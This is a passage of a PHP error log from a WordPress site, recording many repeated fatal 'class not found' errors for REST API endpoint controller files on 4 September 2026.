/home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20 [04-Sep-2026 13:38:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17 [04-Sep-2026 13:38:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [04-Sep-2026 13:38:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17 [04-Sep-2026 13:38:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [04-Sep-2026 13:38:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [04-Sep-2026 13:38:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17 [04-Sep-2026 13:38:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [04-Sep-2026 13:38:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19 [04-Sep-2026 13:38:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17 [04-Sep-2026 13:38:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [04-Sep-2026 13:38:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17 [04-Sep-2026 13:38:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17 [04-Sep-2026 13:38:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [04-Sep-2026 13:38:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17 [04-Sep-2026 13:38:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17 [04-Sep-2026 13:38:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18 [04-Sep-2026 13:38:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [04-Sep-2026 13:38:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 18 [04-Sep-2026 13:38:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17 [04-Sep-2026 13:38:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [04-Sep-2026 17:41:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [04-Sep-2026 17:41:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 19 [04-Sep-2026 17:42:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17 [04-Sep-2026 17:42:06 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [04-Sep-2026 17:42:08 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [04-Sep-2026 17:42:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [04-Sep-2026 17:42:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17 [04-Sep-2026 17:42:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [04-Sep-2026 17:42:27 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17 [04-Sep-2026 17:42:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [04-Sep-2026 17:44:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [04-Sep-2026 17:44:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17 [04-Sep-2026 17:44:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17 [04-Sep-2026 17:44:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17 [04-Sep-2026 17:44:42 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [04-Sep-2026 17:44:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [04-Sep-2026 17:46:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13 [04-Sep-2026 17:46:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [04-Sep-2026 17:46:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php on line 18 [04-Sep-2026 17:46:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php on line 19 [04-Sep-2026 17:47:02 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17 [04-Sep-2026 17:47:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [04-Sep-2026 17:47:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [04-Sep-2026 17:48:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [04-Sep-2026 17:48:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17 [04-Sep-2026 17:48:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [04-Sep-2026 17:48:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [04-Sep-2026 17:48:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17 [04-Sep-2026 17:49:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [04-Sep-2026 17:49:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19 [04-Sep-2026 17:49:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17 [04-Sep-2026 17:50:02 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [04-Sep-2026 17:50:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17 [04-Sep-2026 17:50:27 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [04-Sep-2026 17:50:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17 [04-Sep-2026 17:50:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [04-Sep-2026 17:50:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 18 [04-Sep-2026 17:51:01 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17 [04-Sep-2026 17:51:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [04-Sep-2026 18:41:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [04-Sep-2026 18:41:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 19 [04-Sep-2026 18:41:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [04-Sep-2026 18:43:02 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [04-Sep-2026 18:43:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [04-Sep-2026 18:43:08 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17 [04-Sep-2026 18:43:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [04-Sep-2026 18:43:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17 [04-Sep-2026 18:43:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [04-Sep-2026 18:43:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [04-Sep-2026 18:43:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17 [04-Sep-2026 18:43:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [04-Sep-2026 18:43:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [04-Sep-2026 18:43:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13 [04-Sep-2026 18:43:42 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [04-Sep-2026 18:43:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php on line 18 [04-Sep-2026 18:45:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php on line 19 [04-Sep-2026 18:45:47 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [04-Sep-2026 18:45:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17 [04-Sep-2026 18:45:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [04-Sep-2026 18:46:02 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20 [04-Sep-2026 18:46:27 UTC] PHP Fatal error: Uncaught Error: Class 